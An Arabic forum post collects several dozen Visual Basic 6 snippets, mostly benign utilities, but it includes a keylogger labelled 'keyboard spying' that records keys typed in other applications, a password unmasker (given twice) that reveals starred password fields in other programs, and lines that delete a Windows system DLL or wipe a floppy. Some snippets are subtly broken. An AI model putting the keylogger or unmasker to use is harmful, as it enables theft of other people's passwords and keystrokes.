[محمد ايمن]

PHP كود :

معرفة الوقت الذي مضى على تشغيل الويندوز (الوقت هنا بالملي ثانية) 
*كود برمجي* 

-------------------------------------------------------------------------------- 

Private Declare Function GetTickCount Lib "Kernel32" () As Long 
Private Sub Command1_Click() 
MsgBox Format(GetTickCount, "0") 
End Sub 

-------------------------------------------------------------------------------- 

كود لمعرفة كلمات السر على هيئة نجوم ***** 
*كود برمجي* 

-------------------------------------------------------------------------------- 

Private Declare Function WindowFromPoint Lib "user32" (ByVal xPoint As Long, ByVal yPoint As Long) As Long 
Private Declare Function GetCursorPos Lib "user32" (lpPoint As POINTAPI) As Long 
Private Type POINTAPI 
x As Long 
y As Long 
End Type 
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long 
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long) 

Private Sub Timer1_Timer() 
Const EM_SETPASSWORDCHAR = &HCC 
Dim coord As POINTAPI 
'نقوم هنا بمعرفة احداثى الفأرة 
s = GetCursorPos(coord) 
x = coord.x 
y = coord.y 
'المكتوب بها كلمة المرور(textbox)نقوم هنا بمعرفة مقبض آداة التحرير 
h = WindowFromPoint(x, y) 
'Char 0 الى (PasswordChar)فى هذه الخطوة نقوم بتعديل خاصية ال 
Dim NewChar As Integer 
NewChar = CLng(0) 
retval = SendMessage(h, EM_SETPASSWORDCHAR, ByVal NewChar, 0) 
End Sub 

-------------------------------------------------------------------------------- 

كود لاضافة بيانات حقل معين في قاعدة البيانات الى عنصر list 
*كود برمجي* 

-------------------------------------------------------------------------------- 

Private Sub Form_Activate() 
Dim a As String 
Do While Not Data1.Recordset.EOF = True 
a = Data1.Recordset.Fields("name").Value 
' هنا تمثل اسم الحقل في قاعدة البيانات name كلمة 
List1.AddItem a 
Data1.Recordset.MoveNext 
Loop 
End Sub 

-------------------------------------------------------------------------------- 

كود يقوم بحماية برنامجك حيث يعمل عدد من المرات (تحددها بنفسك) ثم يتوقف نهائيا عن العمل ، وهو يشبه طريقة عمل الـ(register) في البرامج المشهورة 
*كود برمجي* 

-------------------------------------------------------------------------------- 

Private Sub Form_Load() 
retvalue = GetSetting("A", "0", "Runcount") 
GD$ = Val(retvalue) + 1 
SaveSetting "A", "0", "RunCount", GD$ 
If GD$ > 3 Then ' الرقم (3) يحدد عدد مرات التشغيل 
MsgBox "انتهت مدة تشغيل البرنامج .. عليك بشراء النسخة الاصلية" 
Unload FRM ' 
End If 
End Sub 

-------------------------------------------------------------------------------- 

يقوم بتحويل شكل التكست واليبل الى 3d 
*كود برمجي* 

-------------------------------------------------------------------------------- 

'Set form's AutoRedraw property toTrue 
Sub PaintControl3D(frm As Form, Ctl As Control) 
' This Sub draws lines around controls to make them 3d 
' darkgrey, upper - horizontal 
frm.Line (Ctl.Left, Ctl.Top - 15)-(Ctl.Left + _ 
Ctl.Width, Ctl.Top - 15), &H808080, BF 
' darkgrey, left - vertical 
frm.Line (Ctl.Left - 15, Ctl.Top)-(Ctl.Left - 15, _ 
Ctl.Top + Ctl.Height), &H808080, BF 
' white, right - vertical 
frm.Line (Ctl.Left + Ctl.Width, Ctl.Top)- _ 
(Ctl.Left + Ctl.Width, Ctl.Top + Ctl.Height), &HFFFFFF, BF 
' white, lower - horizontal 
frm.Line (Ctl.Left, Ctl.Top + Ctl.Height)- _ 
(Ctl.Left + Ctl.Width, Ctl.Top + Ctl.Height), &HFFFFFF, BF 
End Sub 
Sub PaintForm3D(frm As Form) 
' This Sub draws lines around the Form to make it 3d 
' white, upper - horizontal 
frm.Line (0, 0)-(frm.ScaleWidth, 0), &HFFFFFF, BF 
' white, left - vertical 
frm.Line (0, 0)-(0, frm.ScaleHeight), &HFFFFFF, BF 
' darkgrey, right - vertical 
frm.Line (frm.ScaleWidth - 15, 0)-(frm.ScaleWidth - 15, _ 
frm.Height), &H808080, BF 
' darkgrey, lower - horizontal 
frm.Line (0, frm.ScaleHeight - 15)-(frm.ScaleWidth, _ 
frm.ScaleHeight - 15), &H808080, BF 
End Sub 
'DEMO USAGE 
'Add 1 label and 1 textbox 

Private Sub Form_Load() 
Me.AutoRedraw = True 
PaintForm3D Me 
PaintControl3D Me, Label1 'Label1 is name of label 
PaintControl3D Me, Text1 'Text1 is name of textbox 
End Sub 
ملاحظة في البداية لبد من انشاء تكست وليبل 

-------------------------------------------------------------------------------- 

كود الاظهار النص بشكل عمودي 
*كود برمجي* 

-------------------------------------------------------------------------------- 

Private Sub Form_Activate() 
Dim s As String 
For i = 1 To Len(Label1) 
s = s & Mid$(Label1, i, 1) & vbCrLf 
Next 
Label1 = s 
End Sub 

-------------------------------------------------------------------------------- 

كود تستطيع من خلاله حذف اي ملف 
*كود برمجي* 

-------------------------------------------------------------------------------- 

قم بوضع هذا الكود في قسم جنرال 
Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long 
ومن ثم حدد سار الملف مثال 
Private Sub Command1_Click() 
dim x 
x = DeleteFile("C:\WINDOWS\system\LZEXPAND.DLL") 

-------------------------------------------------------------------------------- 

كود لاستدعاء ملف من نوع mid 
*كود برمجي* 

-------------------------------------------------------------------------------- 

قم بوضع اداة 
mmcontrol1 

m و 
اجعل نامي 
Private Sub Form_Load() 
m.DeviceType = "sequencer" 
m.FileName = ("e:\Holiday3.mid") 
m.Command = "open" 
m.Command = "play" 
END SUB 

-------------------------------------------------------------------------------- 

كود لتحميل فلاش من نوع SWF 
*كود برمجي* 

-------------------------------------------------------------------------------- 

Private Sub Form_Load() 
s.Movie = ("E:\Projects\Howl.swf") 
End Sub 

-------------------------------------------------------------------------------- 

كود لوضع مقطع الفيديو في بكتشر 
*كود برمجي* 

-------------------------------------------------------------------------------- 

Private Sub Command1_Click() 
MM.HWNDDISPLAY=PICTURE1.HWND 
End Sub 

-------------------------------------------------------------------------------- 

الزر الأيمن للماوس 
*كود برمجي* 

-------------------------------------------------------------------------------- 

Private Sub Form_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single) 
IF BUTTON=2 THEN 
msgbox "الزر الأيمن للماوس" 
END IF 
End Sub 

-------------------------------------------------------------------------------- 

لكتابة بس ارقام في تكست بوكس 
*كود برمجي* 

-------------------------------------------------------------------------------- 

Private Sub COMMAND1_CLICK() 
DIM SS AS STRING 
SS="123456789" 
IF INSTR(SS,CHR(KEYASCII)=0 THEN 
KEYASCII=0 
END IF 
End Sub 

-------------------------------------------------------------------------------- 

عمل مسح ملفات للقرص المرن 
*كود برمجي* 

-------------------------------------------------------------------------------- 

kill"A:\*.*" 

-------------------------------------------------------------------------------- 

عرض صندوق حوار Open With 
*كود برمجي* 

-------------------------------------------------------------------------------- 

Private Sub Command1_Click() 
Dim x As Long 
x = Shell("rundll32.exe shell32.dll,OpenAs_RunDLL C:\******.log") 
End Sub 

-------------------------------------------------------------------------------- 

حساب عدد سطور ملف نصى 
*كود برمجي* 

-------------------------------------------------------------------------------- 

Private Sub Command1_Click() 
Open "c:\autoexec.bat" For Input As #1 
Count: 
n = n + 1 
Line Input #1, x 
If EOF(1) Then 
Label1.Caption = n 
Exit Sub 
Else 
GoTo Count: 
End If 
Close 
End Sub 

-------------------------------------------------------------------------------- 

فحص المنافذ 
*كود برمجي* 

-------------------------------------------------------------------------------- 

Private Sub Command1_Click() 
On Error GoTo opn: 
Winsock1.LocalPort = Text1.Text 
Winsock1.Listen 
Text2.Text = "المنفذ غير مفتوح" 
Winsock1.Close 
Exit Sub 
opn: 
If Err.Number = 10048 Then 
Text2.Text = "المنفذ مفتوح" 
Else 
Text2.Text = "يوجد مشكلة" 
End If 
Winsock1.Close 
End Sub 

-------------------------------------------------------------------------------- 
البرنامج يعمل على القرص المدمج (السيدي رووم) فقط 
*كود برمجي* 

-------------------------------------------------------------------------------- 

Private Declare Function GetDriveType Lib "kernel32.dll" Alias "GetDriveTypeA" _ 
(ByVal nDrive As String) As Long 
Private Sub Form_Load() 
Dim driveType As Long 
driveType = GetDriveType(Mid(App.Path, 1, 3)) 
If driveType <> 5 Then 
'إنهاء البرنامج إذا كان لايشتغل من القرص المدمج 
End 
End If 
End Sub 

-------------------------------------------------------------------------------- 

هذا كود لتشفير وفك تشفير نص 
*كود برمجي* 

-------------------------------------------------------------------------------- 

Private Sub Command1_Click() 
For i = 1 To Len(Text1.Text) 
st1 = Mid(Text1.Text, i, 1) 
as1 = Asc(st1) 
ch1 = Chr(255 - as1) 
st = st + ch1 
Next 
Text1.Text = st 
End Sub 

-------------------------------------------------------------------------------- 

هذا الكود لإضافة عروض الفلاش لبرنامجك 
*كود برمجي* 

-------------------------------------------------------------------------------- 

Private Sub Command1_Click() 
Dim s As String 
s = App.Path 
If Mid(s, Len(s), 1) <> "\" Then s = s + "\" 
ShockwaveFlash1.Movie = s + "a4.swf" 
End Sub 

-------------------------------------------------------------------------------- 

لإنهاء صلاحيات برنامجك التجريبي بعد30 يوماً فقط 
*كود برمجي* 

-------------------------------------------------------------------------------- 

Dim startdate As String 
Dim differenceofdate 
Dim TRACEDATE As String 
Dim newdate 
Dim chk 
If GetSetting(App.Title, "Startup", "counter", "") = "" Then 
SaveSetting App.Title, "Startup", "counter", 1 
SaveSetting App.Title, "Startup", "Started", Format(Date, "mm dd yyyy") 
SaveSetting App.Title, "Startup", "Last Used", Format(Date, "mm dd yyyy") 
lblcnt.Caption = "1" 
ElseIf GetSetting(App.Title, "Startup", "counter", "") = "31" Then 
MsgBox "شكراً لستخدامك هذا البرنامج " & Chr(10) + Chr(1) & "الرجاء إيقاف عمل هذا البرنامج او سيتم فقدان كل المعلومات التي قمت بإدخالها ", vbCritical, "شكراً لك " 
End 
Else 
TRACEDATE = GetSetting(App.Title, "Startup", "Last Used", "") 
chk = DateDiff("d", CDate(TRACEDATE), Now) 
If chk < 0 Then 'CHECK IF THE DATE WAS CHANGE which is lesser than the PREVIOUS DATE WHERE THE SYSTEM USED. 
MsgBox "لم يتم العثور على تاريخ النظام لديك !! " & Chr(10) + Chr(13) & " الرجاء تغييرة الأن وإلا لن يكون بإمكانك إستخدام هذا البرنامج لاحقاً", vbCritical, "تاريخ مفقود" 
End 
Else 
startdate = GetSetting(App.Title, "Startup", "Started", "") 
differenceofdate = DateDiff("d", startdate, Now) 
If differenceofdate <> 0 Then 
lblcnt.Caption = differenceofdate + 1 
SaveSetting App.Title, "Startup", "Last Used", Format(Now, "MM DD YYYY") 
SaveSetting App.Title, "Startup", "counter", differenceofdate + 1 
End If 
If differenceofdate = 0 Then 
lblcnt.Caption = GetSetting(App.Title, "Startup", "Counter", "") 
End If 
End If 
End If 
End Sub 

-------------------------------------------------------------------------------- 

هذا الكود يمكنك من قلب الصور عمودياً أو افقيا او نسخها 
*كود برمجي* 

-------------------------------------------------------------------------------- 

Private Sub Command1_Click() 
'الوضع الطبيعي النسخ 
Picture2.PaintPicture Picture1.Picture, 0, 0, _ 
Picture1.Width, Picture1.Height, 0, 0, _ 
Picture1.Width, Picture1.Height, vbSrcCopy 
End Sub 
Private Sub Command2_Click() 
'الوضع الافقي 
Picture2.PaintPicture Picture1.Picture, 0, 0, _ 
Picture1.Width, Picture1.Height, Picture1.Width, _ 
0, -Picture1.Width, Picture1.Height, vbSrcCopy 
End Sub 
Private Sub Command3_Click() 
'الوضع العمودي 
Picture2.PaintPicture Picture1.Picture, 0, 0, _ 
Picture1.Width, Picture1.Height, 0, Picture1.Height, _ 
Picture1.Width, -Picture1.Height, vbSrcCopy 
End Sub 
Private Sub Command4_Click() 
'لقلب الصورة 
Picture2.PaintPicture Picture1.Picture, 0, 0, _ 
Picture1.Width, Picture1.Height, Picture1.Width, _ 
Picture1.Height, -Picture1.Width, -Picture1.Height, vbSrcCopy 
End Sub 

-------------------------------------------------------------------------------- 

كود لنسخ خلفية سطح المكتب إلى نموذجك 
*كود برمجي* 

-------------------------------------------------------------------------------- 

Private Declare Function PaintDesktop Lib "user32" _ 
(ByVal hdc As Long) As Long 
'انسخ هذ الكودالى حدث النقر في زر الامر 
Private Sub Command1_Click() 
PaintDesktop Form1.hdc 
End Sub 

-------------------------------------------------------------------------------- 

تحويل اي حرف إلى حرف ASCII 
*كود برمجي* 

-------------------------------------------------------------------------------- 

Dim temp as String 
temp=asc(text1.text) 
MsgBox temp 

-------------------------------------------------------------------------------- 

تحيه حسب الوقت 
*كود برمجي* 

-------------------------------------------------------------------------------- 

Private Sub Form_Load() 

If Time <= "11:30 AM" Then 
MsgBox ("Good Morning YourNameHere!") 
End 
End If 

If Time > "11:30 AM" And Time < "5:00 PM" Then 
MsgBox ("Good Afternoon YourNameHere!") 
End 
End If 

If Time > "5:00 PM" Then 
MsgBox ("Good Evening YourNameHere!") 
End 
End If 

If Time >= "12:01 AM" Then 
MsgBox ("Good Morning YourNameHere!") 
End 
End If 
End Sub 

-------------------------------------------------------------------------------- 

نوعية القرص (قرص مرن،سي دي،.....) 
*كود برمجي* 

-------------------------------------------------------------------------------- 

'التصاريح 
Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long 
Public Const DRIVE_CDROM = 5 
Public Const DRIVE_FIXED = 3 
Public Const DRIVE_RAMDISK = 6 
Public Const DRIVE_REMOTE = 4 
Public Const DRIVE_REMOVABLE = 2 

'الكود 
Dim strDrive As String 
Dim strMessage As String 
Dim intCnt As Integer 

For intCnt = 65 To 86 
strDrive = Chr(intCnt) 

Select Case GetDriveType(strDrive + ":\") 
Case DRIVE_REMOVABLE 
rtn = "Floppy Drive" 
Case DRIVE_FIXED 
rtn = "Hard Drive" 
Case DRIVE_REMOTE 
rtn = "Network Drive" 
Case DRIVE_CDROM 
rtn = "CD-ROM Drive" 
Case DRIVE_RAMDISK 
rtn = "RAM Disk" 
Case Else 
rtn = "" 
End Select 

If rtn <> "" Then 
strMessage = strMessage & vbCrLf & "Drive " & strDrive & " is type: " & rtn 
End If 
Next intCnt 
MsgBox (strMessage) 
_______________________________________________________________________________________________________

************************************************** ********************
التجسس على لوحة المفاتيح

Private Sub Form_Load()
Me.Caption = "Key Spy"
'Create an API-timer
SetTimer Me.hwnd, 0, 1, AddressOf TimerProc
End Sub
Private Sub Form_Paint()
Dim R As RECT
Const mStr = "Start this project, go to another application, type something, switch back to this application and unload the form. If you unload the form, a messagebox with all the typed keys will be shown."
'Clear the form
Me.Cls
'API uses pixels
Me.ScaleMode = vbPixels
'Set the rectangle's values
SetRect R, 0, 0, Me.ScaleWidth, Me.ScaleHeight
'Draw the text on the form
DrawTextEx Me.hDC, mStr, Len(mStr), R, DT_WORDBREAK Or DT_CENTER, ByVal 0&
End Sub
Private Sub Form_Resize()
Form_Paint
End Sub
Private Sub Form_Unload(Cancel As Integer)
'Kill our API-timer
KillTimer Me.hwnd, 0
'Show all the typed keys
MsgBox sSave
End Sub

ونكتب في موديل Modell

Public Const DT_CENTER = &H1
Public Const DT_WORDBREAK = &H10
Type RECT
Left As Long
Top As Long
Right As Long
Bottom As Long
End Type
Declare Function DrawTextEx Lib "user32" Alias "DrawTextExA" (ByVal hDC As Long, ByVal lpsz As String, ByVal n As Long, lpRect As RECT, ByVal un As Long, ByVal lpDrawTextParams As Any) As Long
Declare Function SetTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long
Declare Function KillTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long
Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Declare Function SetRect Lib "user32" (lpRect As RECT, ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long
Global Cnt As Long, sSave As String, sOld As String, Ret As String
Dim Tel As Long
Function GetPressedKey() As String
For Cnt = 32 To 128
'Get the keystate of a specified key
If GetAsyncKeyState(Cnt) <> 0 Then
GetPressedKey = Chr$(Cnt)
Exit For
End If
Next Cnt
End Function
Sub TimerProc(ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long)
Ret = GetPressedKey
If Ret <> sOld Then
sOld = Ret
sSave = sSave + sOld
End If
End Sub

************************************************** ********************

مؤثر جميل على الفورم

Function Dist(x1, y1, x2, y2) As Single 
Dim A As Single, B As Single 
A = (x2 - y1) * (x2 - x1) 
B = (y2 - y1) * (y2 - y1) 
Dist = Sqr(A + B) 
End Function 
Sub MoveIt(A, B, t) 
A = (1 - t) * A + t * B 
End Sub 

Private Sub Form_Click() 
Cls 
Dim t As Single, x1 As Single, y1 As Single 
Dim x2 As Single, y2 As Single, x3 As Single 
Dim y3 As Single, x4 As Single, y4 As Single 

Scale (-320, 200)-(320, -200) 
t = 0.05 
x1 = -320: y1 = 200 
x2 = 320: y2 = 200 
x3 = 320: y3 = -200 
x4 = -320: y4 = -200 
Do Until Dist(x1, y1, x2, y2) < 10 
Line (x1, y1)-(x2, y2) 
Line -(x3, y3) 
Line -(x4, y4) 
Line -(x1, y1) 
MoveIt x1, x2, t 
MoveIt y1, y2, t 
MoveIt x2, x3, t 
MoveIt y2, y3, t 
MoveIt x3, x4, t 
MoveIt y3, y4, t 
MoveIt x4, x1, t 
MoveIt y4, y1, t 
Loop 
End Sub 

Private Sub Form_Resize() 
Cls 
Dim t As Single, x1 As Single, y1 As Single 
Dim x2 As Single, y2 As Single, x3 As Single 
Dim y3 As Single, x4 As Single, y4 As Single 

Scale (-320, 200)-(320, -200) 
t = 0.05 
x1 = -320: y1 = 200 
x2 = 320: y2 = 200 
x3 = 320: y3 = -200 
x4 = -320: y4 = -200 
Do Until Dist(x1, y1, x2, y2) < 10 
Line (x1, y1)-(x2, y2) 
Line -(x3, y3) 
Line -(x4, y4) 
Line -(x1, y1) 
MoveIt x1, x2, t 
MoveIt y1, y2, t 
MoveIt x2, x3, t 
MoveIt y2, y3, t 
MoveIt x3, x4, t 
MoveIt y3, y4, t 
MoveIt x4, x1, t 
MoveIt y4, y1, t 
Loop 
End Sub

************************************************** *********************

إخفاء المشيرة وإظهارها

Private Declare Function ShowCursor Lib "user32" (ByVal bShow As Long) As Long

Private Sub Command1_Click()
X = ShowCursor(False)
End Sub

Private Sub Command2_Click()
X = ShowCursor(True)
End Sub

************************************************** *******************

طلب الاتصال بالإنترنت

Const FTP_TRANSFER_TYPE_UNKNOWN = &H0
Const FTP_TRANSFER_TYPE_ASCII = &H1
Const FTP_TRANSFER_TYPE_BINARY = &H2
Const INTERNET_DEFAULT_FTP_PORT = 21 ' default

'for FTP servers
Const INTERNET_SERVICE_FTP = 1
Const INTERNET_FLAG_PASSIVE = &H8000000 ' used

'for FTP connections
Const INTERNET_OPEN_TYPE_PRECONFIG = 0 '

'use registry configuration
Const INTERNET_OPEN_TYPE_DIRECT = 1 '

'direct to net
Const INTERNET_OPEN_TYPE_PROXY = 3 '

'via named proxy
Const INTERNET_OPEN_TYPE_PRECONFIG_WITH_NO_AUTOPROXY = 4 ' prevent using java/script/INS
Const MAX_PATH = 260
Private Type FILETIME
dwLowDateTime As Long
dwHighDateTime As Long
End Type
Private Type WIN32_FIND_DATA
dwFileAttributes As Long
ftCreationTime As FILETIME
ftLastAccessTime As FILETIME
ftLastWriteTime As FILETIME
nFileSizeHigh As Long
nFileSizeLow As Long
dwReserved0 As Long
dwReserved1 As Long
cFileName As String * MAX_PATH
cAlternate As String * 14
End Type
Private Declare Function InternetCloseHandle Lib "wininet.dll" (ByVal hInet As Long) As Integer
Private Declare Function InternetConnect Lib "wininet.dll" Alias "InternetConnectA" (ByVal hInternetSession As Long, ByVal sServerName As String, ByVal nServerPort As Integer, ByVal sUserName As String, ByVal sPassword As String, ByVal lService As Long, ByVal lFlags As Long, ByVal lContext As Long) As Long
Private Declare Function InternetOpen Lib "wininet.dll" Alias "InternetOpenA" (ByVal sAgent As String, ByVal lAccessType As Long, ByVal sProxyName As String, ByVal sProxyBypass As String, ByVal lFlags As Long) As Long
Private Declare Function FtpSetCurrentDirectory Lib "wininet.dll" Alias "FtpSetCurrentDirectoryA" (ByVal hFtpSession As Long, ByVal lpszDirectory As String) As Boolean
Private Declare Function FtpGetCurrentDirectory Lib "wininet.dll" Alias "FtpGetCurrentDirectoryA" (ByVal hFtpSession As Long, ByVal lpszCurrentDirectory As String, lpdwCurrentDirectory As Long) As Long
Private Declare Function FtpCreateDirectory Lib "wininet.dll" Alias "FtpCreateDirectoryA" (ByVal hFtpSession As Long, ByVal lpszDirectory As String) As Boolean
Private Declare Function FtpRemoveDirectory Lib "wininet.dll" Alias "FtpRemoveDirectoryA" (ByVal hFtpSession As Long, ByVal lpszDirectory As String) As Boolean
Private Declare Function FtpDeleteFile Lib "wininet.dll" Alias "FtpDeleteFileA" (ByVal hFtpSession As Long, ByVal lpszFileName As String) As Boolean
Private Declare Function FtpRenameFile Lib "wininet.dll" Alias "FtpRenameFileA" (ByVal hFtpSession As Long, ByVal lpszExisting As String, ByVal lpszNew As String) As Boolean
Private Declare Function FtpGetFile Lib "wininet.dll" Alias "FtpGetFileA" (ByVal hConnect As Long, ByVal lpszRemoteFile As String, ByVal lpszNewFile As String, ByVal fFailIfExists As Long, ByVal dwFlagsAndAttributes As Long, ByVal dwFlags As Long, ByRef dwContext As Long) As Boolean
Private Declare Function FtpPutFile Lib "wininet.dll" Alias "FtpPutFileA" (ByVal hConnect As Long, ByVal lpszLocalFile As String, ByVal lpszNewRemoteFile As String, ByVal dwFlags As Long, ByVal dwContext As Long) As Boolean
Private Declare Function InternetGetLastResponseInfo Lib "wininet.dll" Alias "InternetGetLastResponseInfoA" (lpdwError As Long, ByVal lpszBuffer As String, lpdwBufferLength As Long) As Boolean
Private Declare Function FtpFindFirstFile Lib "wininet.dll" Alias "FtpFindFirstFileA" (ByVal hFtpSession As Long, ByVal lpszSearchFile As String, lpFindFileData As WIN32_FIND_DATA, ByVal dwFlags As Long, ByVal dwContent As Long) As Long
Private Declare Function InternetFindNextFile Lib "wininet.dll" Alias "InternetFindNextFileA" (ByVal hFind As Long, lpvFindData As WIN32_FIND_DATA) As Long
Const PassiveConnection As Boolean = True
Private Sub Form_Load()
Dim hConnection As Long, hOpen As Long, sOrgPath As String
'open an internet connection
hOpen = InternetOpen("API-Guide sample program", INTERNET_OPEN_TYPE_PRECONFIG, vbNullString, vbNullString, 0)
'connect to the FTP server
hConnection = InternetConnect(hOpen, "your ftp server", INTERNET_DEFAULT_FTP_PORT, "your login", "your password", INTERNET_SERVICE_FTP, IIf(PassiveConnection, INTERNET_FLAG_PASSIVE, 0), 0)
'create a buffer to store the original directory
sOrgPath = String(MAX_PATH, 0)
'get the directory
FtpGetCurrentDirectory hConnection, sOrgPath, Len(sOrgPath)
'create a new directory 'testing'
FtpCreateDirectory hConnection, "testing"
'set the current directory to 'root/testing'
FtpSetCurrentDirectory hConnection, "testing"
'upload the file 'test.htm'
FtpPutFile hConnection, "C:\test.htm", "test.htm", FTP_TRANSFER_TYPE_UNKNOWN, 0
'rename 'test.htm' to 'apiguide.htm'
FtpRenameFile hConnection, "test.htm", "apiguide.htm"
'enumerate the file list from the current directory ('root/testing')
EnumFiles hConnection
'retrieve the file from the FTP server
FtpGetFile hConnection, "apiguide.htm", "c:\apiguide.htm", False, 0, FTP_TRANSFER_TYPE_UNKNOWN, 0
'delete the file from the FTP server
FtpDeleteFile hConnection, "apiguide.htm"
'set the current directory back to the root
FtpSetCurrentDirectory hConnection, sOrgPath
'remove the direcrtory 'testing'
FtpRemoveDirectory hConnection, "testing"
'close the FTP connection
InternetCloseHandle hConnection
'close the internet connection
InternetCloseHandle hOpen
End Sub
Public Sub EnumFiles(hConnection As Long)
Dim pData As WIN32_FIND_DATA, hFind As Long, lRet As Long
'set the graphics mode to persistent
Me.AutoRedraw = True
'create a buffer
pData.cFileName = String(MAX_PATH, 0)
'find the first file
hFind = FtpFindFirstFile(hConnection, "*.*", pData, 0, 0)
'if there's no file, then exit sub
If hFind = 0 Then Exit Sub
'show the filename
Me.Print Left(pData.cFileName, InStr(1, pData.cFileName, String(1, 0), vbBinaryCompare) - 1)
Do
'create a buffer
pData.cFileName = String(MAX_PATH, 0)
'find the next file
lRet = InternetFindNextFile(hFind, pData)
'if there's no next file, exit do
If lRet = 0 Then Exit Do
'show the filename
Me.Print Left(pData.cFileName, InStr(1, pData.cFileName, String(1, 0), vbBinaryCompare) - 1)
Loop
'close the search handle
InternetCloseHandle hFind
End Sub
Sub ShowError()
Dim lErr As Long, sErr As String, lenBuf As Long
'get the required buffer size
InternetGetLastResponseInfo lErr, sErr, lenBuf
'create a buffer
sErr = String(lenBuf, 0)
'retrieve the last respons info
InternetGetLastResponseInfo lErr, sErr, lenBuf
'show the last response info
MsgBox "Error " + CStr(lErr) + ": " + sErr, vbOKOnly + vbCritical
End Sub
************************************************** ********************

تأجيل تنفيذ الكود لفترة معينة

Public Sub Delay(HowLong As Date) 
TempTime = DateAdd("s", HowLong, Now) 
While TempTime > Now 
DoEvents 
Wend 
End Sub 

Private Sub Command1_Click() 
Delay 5 
MsgBox "Test" 
End Sub
************************************************** *******************

منع تشغيل أكثر من نسخة من البرنامج

Private Sub Form_Load() 
If App.PrevInstance = True Then 
MsgBox "لا يمكن تشغيل أكثر من نسخة من البرنامج" 
Unload Me 
Exit Sub 
End If 
End Sub

************************************************** ********************

نسخ خلفية سطح المكتب إلى النموذج

Private Declare Function PaintDesktop Lib "user32" (ByVal hdc As Long) As Long 

Private Sub Command1_Click() 
PaintDesktop Form1.hdc 
End Sub
************************************************** ********************
نسخ الصورة أو قلبها عمودياً أو أفقياً


Private Sub Command1_Click() 
'الوضع الطبيعي النسخ 
Picture2.PaintPicture Picture1.Picture, 0, 0, Picture1.Width, Picture1.Height, 0, 0, Picture1.Width, Picture1.Height, vbSrcCopy 
End Sub 

Private Sub Command2_Click() 
'الوضع الافقي 
Picture2.PaintPicture Picture1.Picture, 0, 0, Picture1.Width, Picture1.Height, Picture1.Width, 0, -Picture1.Width, Picture1.Height, vbSrcCopy 
End Sub 

Private Sub Command3_Click() 
'الوضع العمودي 
Picture2.PaintPicture Picture1.Picture, 0, 0, Picture1.Width, Picture1.Height, 0, Picture1.Height, Picture1.Width, -Picture1.Height, vbSrcCopy 
End Sub 

Private Sub Command4_Click() 
'لقلب الصورة 
Picture2.PaintPicture Picture1.Picture, 0, 0, Picture1.Width, Picture1.Height, Picture1.Width, Picture1.Height, -Picture1.Width, -Picture1.Height, vbSrcCopy 
End Sub 


وداه الجزاء الثاني من الاكواد

PHP كود :

عمل مفاتيح اختصار

Private Const MOD_ALT = &H1
Private Const MOD_CONTROL = &H2
Private Const MOD_SHIFT = &H4
Private Const PM_REMOVE = &H1
Private Const WM_HOTKEY = &H312
Private Type POINTAPI
x As Long
y As Long
End Type
Private Type Msg
hWnd As Long
Message As Long
wParam As Long
lParam As Long
time As Long
pt As POINTAPI
End Type
Private Declare Function RegisterHotKey Lib "user32" (ByVal hWnd As Long, ByVal id As Long, ByVal fsModifiers As Long, ByVal vk As Long) As Long
Private Declare Function UnregisterHotKey Lib "user32" (ByVal hWnd As Long, ByVal id As Long) As Long
Private Declare Function PeekMessage Lib "user32" Alias "PeekMessageA" (lpMsg As Msg, ByVal hWnd As Long, ByVal wMsgFilterMin As Long, ByVal wMsgFilterMax As Long, ByVal wRemoveMsg As Long) As Long
Private Declare Function WaitMessage Lib "user32" () As Long
Private bCancel As Boolean
Private Sub ProcessMessages()
Dim Message As Msg
'loop until bCancel is set to True
Do While Not bCancel
'wait for a message
WaitMessage
'check if it's a HOTKEY-message
If PeekMessage(Message, Me.hWnd, WM_HOTKEY, WM_HOTKEY, PM_REMOVE) Then
'minimize the form
WindowState = vbMinimized
End If
'let the operating system process other events
DoEvents
Loop
End Sub
Private Sub Form_Load()

Dim ret As Long
bCancel = False
'register the Ctrl-F hotkey
ret = RegisterHotKey(Me.hWnd, &HBFFF&, MOD_CONTROL, vbKeyF)
'show some information
Me.AutoRedraw = True
Me.Print "Press CTRL-F to minimize this form"
'show the form and
Show
'process the Hotkey messages
ProcessMessages
End Sub
Private Sub Form_Unload(Cancel As Integer)
bCancel = True
'unregister hotkey
Call UnregisterHotKey(Me.hWnd, &HBFFF&)
End Sub

************************************************** *******************

حساب عدد سطور ملف نصي

Private Sub Command1_Click()
Open "c:\autoexec.bat" For Input As #1
Count:
SS = SS + 1
Line Input #1, x
If EOF(1) Then
Label1.Caption = SS
Exit Sub
Else
GoTo Count:
End If
Close
End Sub

************************************************** ******************

ترجمة النجوم *** في كلمات السر إلى حروف عادية

Private Declare Function WindowFromPoint Lib "user32" (ByVal xPoint As Long, ByVal yPoint As Long) As Long
Private Declare Function GetCursorPos Lib "user32" (lpPoint As POINTAPI) As Long
Private Type POINTAPI
x As Long
y As Long
End Type
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)

Private Sub Form_Load()
Timer1.Interval = 10
End Sub

Private Sub Timer1_Timer()
Const EM_SETPASSWORDCHAR = &HCC
Dim coord As POINTAPI

s = GetCursorPos(coord)
x = coord.x
y = coord.y

h = WindowFromPoint(x, y)

Dim NewChar As Integer
NewChar = CLng(0)
retval = SendMessage(h, EM_SETPASSWORDCHAR, ByVal NewChar, 0)
End Sub

************************************************** *********************

تغيير خصائص ملف

Private Sub COMMAND1_CLICK()
SetAttr "C:\data.txt", vbHidden
SetAttr "C:\data.txt", vbReadOnly
SetAttr "C:\data.txt", vbArchive
End Sub

************************************************** **********************

